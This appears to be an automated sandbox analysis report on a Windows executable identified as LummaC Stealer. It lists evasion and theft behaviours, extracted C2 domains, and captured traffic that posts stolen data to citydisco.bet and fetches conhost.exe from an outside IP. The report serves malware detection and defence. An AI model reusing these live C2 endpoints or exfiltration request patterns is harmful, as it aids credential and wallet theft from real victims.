Edit tour

Windows Analysis Report
SoftWare(2).exe1.exe

Overview

General Information

Sample name:	SoftWare(2).exe1.exe
Analysis ID:	1637269
MD5:	3312164cbdf37c1dfb5d1b3f5d9c9863
SHA1:	e3e8ae938c16655b4058089b856b070434384fa6
SHA256:	d88aa5595bef3c5e49ab6a408d9a15114496936e1231aced7d55a4f2052d083d
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SoftWare(2).exe1.exe (PID: 6956 cmdline: "C:\Users\user\Desktop\SoftWare(2).exe1.exe" MD5: 3312164CBDF37C1DFB5D1B3F5D9C9863)

SoftWare(2).exe1.exe (PID: 7352 cmdline: "C:\Users\user\Desktop\SoftWare(2).exe1.exe" MD5: 3312164CBDF37C1DFB5D1B3F5D9C9863)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["citydisco.bet/gdJIS", "crosshairc.life/dAnjhw", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2594571322.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000003.1461447157.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1461280809.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SoftWare(2).exe1.exe PID: 7352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SoftWare(2).exe1.exe PID: 7352	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.SoftWare(2).exe1.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
4.2.SoftWare(2).exe1.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:33:30.758978+0100	2028371	3	Unknown Traffic	192.168.2.4	49718	188.114.97.3	443	TCP
2025-03-13T13:33:33.521255+0100	2028371	3	Unknown Traffic	192.168.2.4	49719	188.114.97.3	443	TCP
2025-03-13T13:33:35.964192+0100	2028371	3	Unknown Traffic	192.168.2.4	49720	188.114.97.3	443	TCP
2025-03-13T13:33:38.120489+0100	2028371	3	Unknown Traffic	192.168.2.4	49721	188.114.97.3	443	TCP
2025-03-13T13:33:40.817727+0100	2028371	3	Unknown Traffic	192.168.2.4	49722	188.114.97.3	443	TCP
2025-03-13T13:33:43.555812+0100	2028371	3	Unknown Traffic	192.168.2.4	49724	188.114.97.3	443	TCP
2025-03-13T13:33:47.798051+0100	2028371	3	Unknown Traffic	192.168.2.4	49726	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://citydisco.bet:443/gdJIS	Avira URL Cloud: Label: malware
Source: crosshairc.life/dAnjhw	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["citydisco.bet/gdJIS", "crosshairc.life/dAnjhw", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"]}

Multi AV Scanner detection for submitted file

Source: SoftWare(2).exe1.exe

Virustotal: Detection: 45%

Perma Link

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: citydisco.bet/gdJIS
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: crosshairc.life/dAnjhw
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mrodularmall.top/aNzS
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: jowinjoinery.icu/bdWUa
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: legenassedk.top/bdpWO
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: htardwarehu.icu/Sbdsa
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cjlaspcorne.icu/DbIps
Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bugildbett.top/bAuz

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041C378 CryptUnprotectData,CryptUnprotectData,		4_2_0041C378
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041B570 CryptUnprotectData,		4_2_0041B570

Source: SoftWare(2).exe1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49726 version: TLS 1.2

Source: SoftWare(2).exe1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E08ECE FindFirstFileExW,	2_2_00E08ECE
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E08F7F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00E08F7F
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E08ECE FindFirstFileExW,	4_2_00E08ECE
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E08F7F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00E08F7F

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000001E8h]	4_2_00412042
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx]	4_2_0044D090
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0CA48CCCh]	4_2_0042E9A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov word ptr [ecx], dx	4_2_004119BB
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0Ch]	4_2_00420A00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-77E6050Eh]	4_2_00420A00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov edx, ecx	4_2_0044CAF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_00435B69
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [esi], al	4_2_00435B69
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+2BB14466h]	4_2_00435B69
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-77E6040Ah]	4_2_0041B570
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+72h]	4_2_0041B570
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-6D882F28h]	4_2_0041B570
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then inc ebx	4_2_00401040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [ecx], al	4_2_00411040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov word ptr [eax], dx	4_2_0041A870
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov dword ptr [esp+08h], eax	4_2_0041A870
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C0F3A0E1h	4_2_0041A870
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	4_2_0043282C
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	4_2_004328C8
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	4_2_004288D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+74h]	4_2_0042C0D1
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov eax, ebx	4_2_00431160
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_00440900
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_00436917
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp word ptr [edi+ecx+02h], 0000h	4_2_0040EA7C
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov ecx, ebx	4_2_0040C200
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov ebx, eax	4_2_00408A10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0CA48CCCh]	4_2_0042E2C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [ecx], al	4_2_004372F5
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	4_2_0040A350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	4_2_0040A350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 61A44046h	4_2_0041CB18
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-77E6053Ah]	4_2_00448320
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movsx edx, byte ptr [ebp+ebx+00h]	4_2_0044AB23
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	4_2_0044B330
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then jmp ecx	4_2_0044B330
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [edx], al	4_2_004383C6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_0040C3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	4_2_0044B3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then jmp ecx	4_2_0044B3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax]	4_2_00428380
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	4_2_0041A390
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [ecx], al	4_2_00438452
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-612193E0h]	4_2_00431460
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	4_2_0044B460
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then jmp ecx	4_2_0044B460
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+14h]	4_2_0040D4C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	4_2_0044D4E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_00432CF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov esi, ecx	4_2_00430522
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+6851E954h]	4_2_00427DC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov edi, esi	4_2_00427DC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-58962266h]	4_2_0042EDF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-77E6053Ah]	4_2_00445580
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+000002B0h]	4_2_0041F642
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h	4_2_00447E40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [ebx], cl	4_2_00434E68
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov byte ptr [edx], al	4_2_00437E14
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov word ptr [eax], dx	4_2_0041EEE2
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04h]	4_2_0044A6F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov eax, ebx	4_2_00430E89
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0CA48CCCh]	4_2_0042DF70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+4EC5F092h]	4_2_0042BF00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov word ptr [eax], dx	4_2_0041D01D
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+481F046Fh]	4_2_00423F10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then mov esi, ecx	4_2_00430724
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-22399302h]	4_2_0040C730
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	4_2_0041A7B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 7A542AABh	4_2_0044C7B0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: citydisco.bet/gdJIS
Source: Malware configuration extractor	URLs: crosshairc.life/dAnjhw
Source: Malware configuration extractor	URLs: mrodularmall.top/aNzS
Source: Malware configuration extractor	URLs: jowinjoinery.icu/bdWUa
Source: Malware configuration extractor	URLs: legenassedk.top/bdpWO
Source: Malware configuration extractor	URLs: htardwarehu.icu/Sbdsa
Source: Malware configuration extractor	URLs: cjlaspcorne.icu/DbIps
Source: Malware configuration extractor	URLs: bugildbett.top/bAuz

Source: global traffic

HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.215.113.51 185.215.113.51

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49718 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49719 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49724 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49720 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49722 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49721 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49726 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 67Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5CEAHR39eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19592Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CGeyHTI7bbTd9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8769Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=buU39pNjnUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20407Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9Xc17ag4fOi8gKd7mMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2450Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BF6y4lIf5N61ZHiN3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550959Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 105Host: citydisco.bet

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51

Source: global traffic

DNS traffic detected: DNS query: citydisco.bet

Source: unknown

HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 67Host: citydisco.bet

Source: SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/
Source: SoftWare(2).exe1.exe, 00000004.00000002.2594773980.000000000093B000.00000004.00000010.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595372216.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exe
Source: SoftWare(2).exe1.exe, 00000004.00000002.2595474756.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exe)
Source: SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exeEM
Source: SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51:80/conhost.exe
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1484920771.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/
Source: SoftWare(2).exe1.exe, 00000004.00000002.2595474756.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410987437.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410866234.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS
Source: SoftWare(2).exe1.exe, 00000004.00000003.1387446253.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISOCKTP
